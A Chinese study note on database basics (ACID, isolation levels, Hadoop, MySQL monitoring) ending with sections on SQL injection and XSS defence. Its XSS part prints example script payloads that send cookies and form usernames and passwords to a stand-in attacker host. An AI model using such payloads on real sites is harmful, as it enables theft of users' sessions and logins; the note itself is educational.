数据库笔记

来源:互联网 发布:php 自建框架 编辑:程序博客网 时间:2024/04/29 23:17
1 事务正确执行四个要素ACID
Atomicity 原子性,事务要么都做,要么都不做
Consistency 一致性,事务执行结果必须使用数据库从一个一致性的状态到另一个一致性的状态
Isolation 隔离性,各个事务对数据库的影响是独立
Durability 持久性,事务完成后对数据库所作更改保存在数据库中,并不会被回滚


破坏原子性会导致破坏一致性,但一致性不一定由原子性导致


2 事务隔离级别
-未授权读取(Read Uncommitted) 允许脏读取,但禁止更新丢失。排他写锁
-授权读取(Read Committed) 允许不可重复读,但禁止脏读取瞬间共享读锁 排他写锁
-可重复读取(Repeatable Read) 允许幻读,但禁止不可重复读和脏读取共享读锁 排他写锁

-串行读(Serializable) 全禁止行级锁


脏读取:读到未提交的数据

不可重复读:侧重数据修改
幻读:侧重数据增加和删除


3 分布式并行计算框架

Google的MapReduce: MapReduce + GFS + BigTable

Yohoo的Hadoop: Hadoop + HDFS + HBase

MapReduce, Hadoop:解决任务分解与合并的功能

GFS, HDFS:分布式文件系统,解决数据存储的基础设施问题

BigTable, HBase:处理结构化数据存储格式的类数据库模块


4 MySQL Cluster的组成

SQL层的SQL服务器节点:

Storage层的NDB数据节点:

负责管理整个节点的Manage节点主机


5 DML(data manipulation language):  select update insert delete,对数据库里的数据进行操作语言

DDL(data definition language): create alter drop 定义或改变表的结构

DCL(data control language): grant deny revoke  设置或更改数据库用户或角色权限语句


6 主机性能状态表现在三个方面:CPU、IO和网络

可通过五个监控量监控:系统load值,CPU使用率、磁盘IO量、SWAP进出量、网络流量


7 数据库性能状态

QPS(每秒Query量):MySQL Server每秒执行的Query总量

TPS(每秒事务量):

Key Buffer命中率:MyISAM类型表的索引的Cache命中率

Innodb Buffer命中率:

Query Cache命中率

Table Cache状态量:处于80%左右比较合适

Thread Cache命中率:处于90%以上比较合适
锁定状态:

复制延时量:

Tmp table状态:

Binlog Cache使用状况

Innodb_log_waits量


8 主机健康状态

网络通信

系统软硬件错误

磁盘空间

内存使用

进程数量


9 数据库健康状态信息

服务端口(3306)

socket文件

mysqld和mysqld_safe进程

Error log

复制状态


10 DRBD:Distributed Replicated Block Device


11 where针对表中的列发挥作用,查询数据
having是对查询结果中得到的列发挥作用,筛选数据(也就是说从查询出的结果集再次进行筛选)


12  SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。


13 SQL防护
-永远不要信任用户的输入。对用户的输入进行校验,可通过正则表达式,或限制长度,对单引号和双"-"进行转换
-永远不要使用动态拼装的SQL,可使用参数化的SQL或直接使用存储过程进行数据查询存取
-永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
-不要把机密信息直接存放,加密或HASH密码和敏感的信息
-应用的异常信息应尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
-采取辅助软件或网站平台检测。比如jsky.


14 XSS(cross-site scripting)攻击:攻击者在WEB页面插入恶意html标签或javascript代码,当用户浏览该网页或进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或向其它网站提交用户的私密信息。

比如:在论坛放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息,或在论坛放一个恶意表单,当用户提交表单时,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。
XSS插入恶意脚本。而SQL插入恶意SQL语句。


15 XSS漏洞可分三类

-反射型XSS(非持久型XSS):
反射:注入代码是从目标服务器通过错误信息、搜索结果等方式“反射”回来
非持久:具有一次性。
攻击者通过电子邮件等方式将包含注入脚本的恶意链接发给受害者,当受害者点击该链接,注入脚本被传输到目标服务器,然后目标服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行这段脚本。
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);<\script>

-存储型XSS(持久型XSS)
持久:攻击脚本被永久存放在目标服务器的数据库和文件。多见于论坛,将恶意脚本连同正常信息一起注入到帖子窗帘。受害者浏览注入恶意脚本帖子,恶意脚本在浏览器得到执行。


16 XSS攻击的手段
-窃取Cookie
<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)<\script>
-引导钓鱼
<script>location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value+"password"+document.forms[0].pass.value)<\script>
-跨站请求伪造
-注入恶意软件


17 XSS预防
-输入检测
-输出编码

用HtmlEncoder工具对用户输入进行编码,再输出到目标页面中。当用户输入HTML脚本,会当成普通的文字。
-Cookie防盗
-严格限制URL访问

0 0
原创粉丝点击